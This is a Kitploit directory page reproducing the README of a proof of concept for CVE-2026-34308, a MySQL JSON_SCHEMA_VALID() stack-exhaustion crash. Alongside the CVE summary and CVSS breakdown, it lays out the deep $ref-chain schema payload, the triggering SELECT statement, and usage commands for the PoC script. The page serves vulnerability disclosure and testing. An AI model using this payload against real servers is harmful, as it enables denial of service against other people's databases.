Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-34308 — Proof-of-concept for CVE-2026-34308, a MySQL Server JSON component denial-of-service vulnerability. Demonstrates stack exhaustion via deep $ref chains in JSON_SCHEMA_VALID(), causing server crash. Includes Python PoC script and technical analysis. | Kitploit
Tools/GitHubGitHub/joakimbulow/cve-2026-34308
Vulnerability AnalysisExploitationPenetration TestingDatabase Security
GitHubjoakimbulow/cve-2026-34308

CVE-2026-34308

Proof-of-concept for CVE-2026-34308, a MySQL Server JSON component denial-of-service vulnerability. Demonstrates stack exhaustion via deep $ref chains in JSON_SCHEMA_VALID(), causing server crash. Includes Python PoC script and technical analysis.

View Repository
194 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-34308: MySQL Server (JSON component) denial of service

Official vendor bulletin: Oracle Critical Patch Update Advisory — April 2026.

Summary (from published CVE)

Vulnerability in Oracle MySQL Server (component: Server: JSON).

Supported affected versions: 8.0.0–8.0.45, 8.4.0–8.4.8, and 9.0.0–9.6.0.

The vulnerability allows a low-privileged user to crash the MySQL Server.

CVSS 3.1 Base Score: 6.5 (Availability impacts only)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H


Additional technical analysis (not part of the CVE text)

Observed mechanism: Deep recursion while MySQL evaluates JSON_SCHEMA_VALID() against a JSON Schema that contains a long linear chain of $ref pointers, without an effective depth cap during schema compilation/validation—leading to stack exhaustion and a hang or repeatable crash.

Call chain (conceptual):

root@kitploit:~
Client SQL → JSON_SCHEMA_VALID(schema, instance)
  → internal JSON schema validation → repeated $ref resolution
  → stack exhaustion → hang / crash

Required privileges

For this PoC, any authenticated MySQL account is enough: grant only USAGE on *.* (MySQL’s minimal privilege—ability to connect—without SELECT, table access, or admin roles). If the user can open a session and run SELECT JSON_SCHEMA_VALID(...), they can trigger the condition.


Proof of Concept

PoC script: poc_schema_dos.py

Builds a JSON schema with a linear $ref chain (example depth 1200):

root@kitploit:~
{
  "$ref": "#/definitions/l0",
  "definitions": {
    "l0": {"$ref": "#/definitions/l1"},
    "l1": {"$ref": "#/definitions/l2"},
    ...
    "l1200": {"type": "string"}
  }
}

Sent to MySQL as: SELECT JSON_SCHEMA_VALID('<schema>', '"x"');

In testing against vulnerable builds, this has been observed to crash the server within about one second (exact timing depends on hardware, build flags, and schema depth).

Usage

root@kitploit:~
python3 poc_schema_dos.py --host 127.0.0.1 --port 3306 --user root --password ""

To test a low-privilege account:

root@kitploit:~
CREATE USER 'test'@'%' IDENTIFIED BY 'password';
GRANT USAGE ON *.* TO 'test'@'%';
FLUSH PRIVILEGES;

Then: python3 poc_schema_dos.py --user test --password password


CVSS v3.1 (official vector)

6.5 — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

  • AV:N: Network accessible
  • AC:L: Attack complexity low
  • PR:L: Low privileges required
  • UI:N: No user interaction
  • S:U: Scope unchanged
  • C:N / I:N: No confidentiality or integrity impact
  • A:H: High impact on availability (hang / repeatable crash / DoS)

Files

  • poc_schema_dos.py: Proof-of-concept script
  • README.md: This file
Download Tool